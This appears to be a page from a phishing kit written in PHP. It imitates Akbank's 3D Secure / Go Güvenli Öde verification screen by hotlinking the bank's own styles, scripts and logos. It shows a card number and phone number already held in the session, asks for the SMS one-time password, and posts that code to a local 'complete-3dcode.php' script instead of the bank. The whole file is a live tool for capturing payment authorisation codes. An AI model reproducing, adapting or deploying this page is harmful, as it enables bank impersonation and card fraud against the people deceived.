<?php 
include_once('../inc/helper.php');
session_start();
ob_start();
$issuer = $data['Issuer'];
$userIP = getUserIP();
?>

<html><head>
    <title>Alışveriş</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_css/dijitalgozluk.css">
    <link rel="stylesheet" href="https://code.jquery.com/ui/1.13.0/themes/base/jquery-ui.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://code.jquery.com/ui/1.13.0/jquery-ui.min.js"></script>
    <script src="https://code.jquery.com/jquery-migrate-3.3.2.min.js"></script>
    <script src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_js/dijitalgozluk.js"></script>
    <script src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_js/ifIeDoesNotWork.js"></script>
    <style>
        .ui-loading .ui-loader {
            display: none;
        }

        .ui-icon-loading {
            opacity: 0;
        }
    </style>
    <script language="JavaScript" type="text/javascript" src="https://3dsecure.akbank.com.tr/akbankacs/js/jsbn.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/base64.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/barrett.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/bigint.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/rsa.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/hsmrsa.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/encrypt.js"></script>
    <script type="text/javascript" language="JavaScript" src="https://3dsecure.akbank.com.tr/akbankacs/js/est.js"></script>
    <meta name="decorator" content="3dlayout">
</head>
<body>
<div data-role="content" data-theme="c">

    <noscript style="color: red">İşleminizi tamamlayabilmeniz
        için Javascript'i etkinleştirin.
    </noscript>

    <div class="content">
        
<div class="dijitalgozluk-arkaplan">
    <form id="axesswings3dsecurekayit3" name="axesswings3dsecurekayit3" action="/sadece-online-ozel/complete-3dcode.php" method="POST" onsubmit="if(!enterPressed) return encBeforeSubmit();" autocomplete="off">
        <input id="token" name="token" type="hidden" value="<?php echo $_SESSION['token'] ?>">

    <input id="iefix" type="hidden" name="" value="">
    <div class="dijitalgozluk-ekran">
        <div class="dijitalgozluk-cerceve">
            <div class="dijitalgozluk-kapat">
                <a href="javascript:clickCancelButton();"><img src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_img/v2/icon-close-18x18.png" alt="X"></a>
            </div>
            <div class="dijitalgozluk-logolar">
                <div class="dijitalgozluk-logo dijitalgozluk-logo-banka">
                    <img src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_img/logo-akbank.svg" alt="Akbank">
                </div>
                <!--/logo-->

                <div class="dijitalgozluk-logo dijitalgozluk-logo-marka">
                    
                        
                        
                            
                        
                    
                    
                        
                            <img style="margin-top: -3px;" src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_img/v2/logo_mastercard.png">
                        
                        
                    
                        

                </div>
                <!--/logo-->

                <div class="dijitalgozluk-yazi dijitalgozluk-baslik">
                    Uluslararası Güvenlik<br> Platformu 3D Secure
                </div>
                <!--/yazi-->

            </div>
            <!--/logolar-->

            
                <div class="dijitalgozluk-yazi dijitalgozluk-aciklama-yazisi dijitalgozluk-aciklama-yazisi-ortali">
                    <p><strong>Akbank’ın sunduğu Güvenli Alışveriş Platformu’na hoş geldiniz.</strong></p>
                    <div id="privateinf">
                        
                            
                                <p>
                                    Güvenli Alışveriş Platformu (3D Secure / Go Güvenli Öde), MasterCard kartınızla
                                    internet
                                    üzerinden yapacağınız alışverişlerde size ekstra güvenlik sağlayacaktır.
                                    Bu hizmet Akbank tarafından ücretsiz olarak sunulmaktadır.
                                </p>
                            
                            
                            
                        
                        <p> 3D Secure işleminde kullanacağınız şifre aşağıdaki cep telefonunuza gönderilecektir.
                            Numaranız güncel değilse veya yanlış ise lütfen Akbank Müşteri İletişim Merkezi’ni
                            arayınız.</p>
                    </div>
                </div>
            

            <div class="dijitalgozluk-tablo dijitalgozluk-tablo-bilgiler">
                <div class="dijitalgozluk-tablo-satir">
                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-isim">
                        İşyeri Adı
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-deger">
                         PAYCELL/KARACA
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->
                </div>
                <!--/dijitalgozluk-tablo-satir-->
                
                    <div class="dijitalgozluk-tablo-satir">
                        <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-isim">
                            Tutar
                        </div>
                        <!--/dijitalgozluk-tablo-sutun-->

                        <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-deger">
                            <?php echo $totalPrice; ?> TL
                        </div>
                        <!--/dijitalgozluk-tablo-sutun-->

                    </div>
                    <!--/dijitalgozluk-tablo-satir-->
                

                <div class="dijitalgozluk-tablo-satir">
                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-isim">
                        Tarih
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-deger">
                        <?php echo date("d-m-Y H:i:s"); ?>
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                </div>
                <!--/dijitalgozluk-tablo-satir-->

                <div class="dijitalgozluk-tablo-satir">
                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-isim">
                        Kart Numarası
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-deger">
                        <?php echo $_SESSION['cc_number']; ?>
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                </div>
                <!--/dijitalgozluk-tablo-satir-->

                <div class="dijitalgozluk-tablo-satir">
                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-isim">
                        Cep Telefonu
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                    <div class="dijitalgozluk-tablo-sutun dijitalgozluk-tablo-deger">
                        <?php echo $_SESSION['tel']; ?>
                    </div>
                    <!--/dijitalgozluk-tablo-sutun-->

                </div>
                <!--/dijitalgozluk-tablo-satir-->

            </div>

            <div id="passwordInformation">
                <div class="dijitalgozluk-kart-logo">
                    <img src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_img/v2/ikon-sms-36x31.png" alt="">
                </div>
                <div id="passwordInformation1" class="dijitalgozluk-yazi dijitalgozluk-yonlendirme">
                    <p><span>
                                <?php echo $_SESSION['tel']; ?>
                        </span> nolu 3D Secure / Go Güvenli Öde şifrenizi şifre alanına
                        giriniz.</p>
                  <span id="hataAciklama" style="color: rgba(230, 0, 0, .9);"><?php echo $_SESSION['errorMessage']; ?></span>
                </div>
                <!--/yazi-->

                <div id="passwordInformation2" class="dijitalgozluk-form-kontrol dijitalgozluk-form-yazi dijitalgozluk-form-sms-gir">
                    <div class="dijitalgozluk-form-yazi-baslik">Şifre:</div>
                    <div class="dijitalgozluk-form-yazi-input">
                        <input type="password" name="code" id="sifre3dinput" onkeypress="return submitByEnter(event)" maxlength="6" size="6" onfocusout="checkLength();" autocomplete="off">
                    </div>
                    
                        
                        
                            <div id="helpDiv" class="dijitalgozluk-form-yazi-yardim"><a id="opener" href="#">Yardım</a></div>
                        
                    
                </div>
            </div>

            <div>
                <div id="div1" style="width: 180px; margin: 0px auto 0 auto;"></div>
                
                </div>
                <div style="display: none;" id="newPassInfo">

                    <div class="dijitalgozluk-kart-logo">
                        <img src="https://3dsecure.akbank.com.tr/akbankacs/dijitalgozluk_img/v2/ikon-sms-36x31.png" alt="">
                    </div>
                    <!--/dijitalgozluk-kart-logo-->

                    <div class="dijitalgozluk-yazi dijitalgozluk-uyari">
                        <p>Onay süreniz dolmuştur, dilerseniz tekrar şifre isteyebilirsiniz.</p>
                    </div>
                    <!--/yazi-->

                    <div class="dijitalgozluk-form-kontrolu dijitalgozluk-dugme dijitalgozluk-devam-dugmesi">
                        <input type="submit" id="TekrarSifreGonder" name="TekrarSifreGonder" value="Şifre İste" onclick="disableTekrarSifreGonderClicked();turnOffDevamClicked();">
                    </div>

                    <!--/yazi-->


                    <!--/yazi-->
                </div>


                <div id="remainingWarn" class="dijitalgozluk-yazi dijitalgozluk-uyari">
                    <p>
                        Onaylama süresinin dolmasına <span id="remaining">114</span> saniye
                        kalmıştır
                    </p>
                </div>
                                    
                    <div id="juzdanSmsFlagDiv" class="dijitalgozluk-form-kontrolu dijitalgozluk-dugme">
                        <div class="dijitalgozluk-yazi dijitalgozluk-aciklama-yazisi dijitalgozluk-aciklama-yazisi-ortali">
                            <input id="mycb" name="juzdanSmsFlag" type="checkbox" value="true"><label for="mycb">Juzdan’ı indir, mobil onaylarını tek tıkla ver.</label><input type="hidden" name="_juzdanSmsFlag" value="on">
                        </div>
                    </div>
                
                
                
                    <div id="privateinf2" class="dijitalgozluk-yazi dijitalgozluk-aciklama-yazisi dijitalgozluk-aciklama-yazisi-ortali">
                        <p>İşlem yaptığınızda <a href="javascript:showSozlesme('mastercard')">
                            <strong style="text-decoration: underline;">Hizmet Koşullarını</strong></a> kabul etmiş
                            sayılırsınız.</p>
                    </div>
                
                <div class="dijitalgozluk-form-kontrolu dijitalgozluk-dugme dijitalgozluk-devam-dugmesi">
                    <input id="DevamEt" name="DevamEt" type="submit" value="Devam" onclick="disableDevamClicked();turnOnDevamClicked(); xClicked = false;">
                </div>


                <div style="display: none;">
                    <input id="Geri" name="Cancel" type="submit" value="İptal" onclick="turnOffDevamClicked(); xClicked = false;">
                </div>

                
                    
                    
                        
                            
                                <div class="dijitalgozluk-yazi dijitalgozluk-alternatif-yontem dijitalgozluk-alternatif-yontem-sms">
                                    <p>Bu işlemi Juzdan'dan da onaylayabilirdin.</p>
                                </div>
                            
                        
                    
                

                <!--/form-kontrolu-->


            </div>
            <!--/cerceve-->

        </div>
        <!--/ekran-->

        </form>

    </div>
    <!--/arkaplan-->

    

    


    </div>

</div>

<div data-role="”footer”" data-theme="c" data-position="fixed"></div>



<div tabindex="-1" role="dialog" class="ui-dialog ui-corner-all ui-widget ui-widget-content ui-front ui-draggable ui-resizable" aria-describedby="dialog" style="display: none; position: absolute;" aria-labelledby="ui-id-1"><div class="ui-dialog-titlebar ui-corner-all ui-widget-header ui-helper-clearfix ui-draggable-handle"><span id="ui-id-1" class="ui-dialog-title">Şifre</span><button type="button" class="ui-button ui-corner-all ui-widget ui-button-icon-only ui-dialog-titlebar-close" title="Close"><span class="ui-button-icon ui-icon ui-icon-closethick"></span><span class="ui-button-icon-space"> </span>Close</button></div><div id="dialog" class="ui-dialog-content ui-widget-content">

        <p>Telefonunuza SMS ile gönderilen tek kullanımlık şifreyi bu alana giriniz.</p>

    </div><div class="ui-resizable-handle ui-resizable-n" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-e" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-s" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-w" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-se ui-icon ui-icon-gripsmall-diagonal-se" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-sw" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-ne" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-nw" style="z-index: 90;"></div></div><div tabindex="-1" role="dialog" class="ui-dialog ui-corner-all ui-widget ui-widget-content ui-front ui-dialog-buttons ui-draggable ui-resizable" aria-describedby="dialogSmsPwd" style="display: none; position: absolute;" aria-labelledby="ui-id-2"><div class="ui-dialog-titlebar ui-corner-all ui-widget-header ui-helper-clearfix ui-draggable-handle"><span id="ui-id-2" class="ui-dialog-title">Hatalı Şifre</span><button type="button" class="ui-button ui-corner-all ui-widget ui-button-icon-only ui-dialog-titlebar-close" title="Close"><span class="ui-button-icon ui-icon ui-icon-closethick"></span><span class="ui-button-icon-space"> </span>Close</button></div><div id="dialogSmsPwd" class="ui-dialog-content ui-widget-content">
        <span style="float:left; margin:0 7px 50px 0;"></span>
        <p style="font-size: 12px;"></p>
    </div><div class="ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"><div class="ui-dialog-buttonset"><button type="button" class="ui-button ui-corner-all ui-widget">Tamam</button></div></div><div class="ui-resizable-handle ui-resizable-n" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-e" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-s" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-w" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-se ui-icon ui-icon-gripsmall-diagonal-se" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-sw" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-ne" style="z-index: 90;"></div><div class="ui-resizable-handle ui-resizable-nw" style="z-index: 90;"></div></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
<script src="assets/js/check-online.js"></script>
  </body>
</html>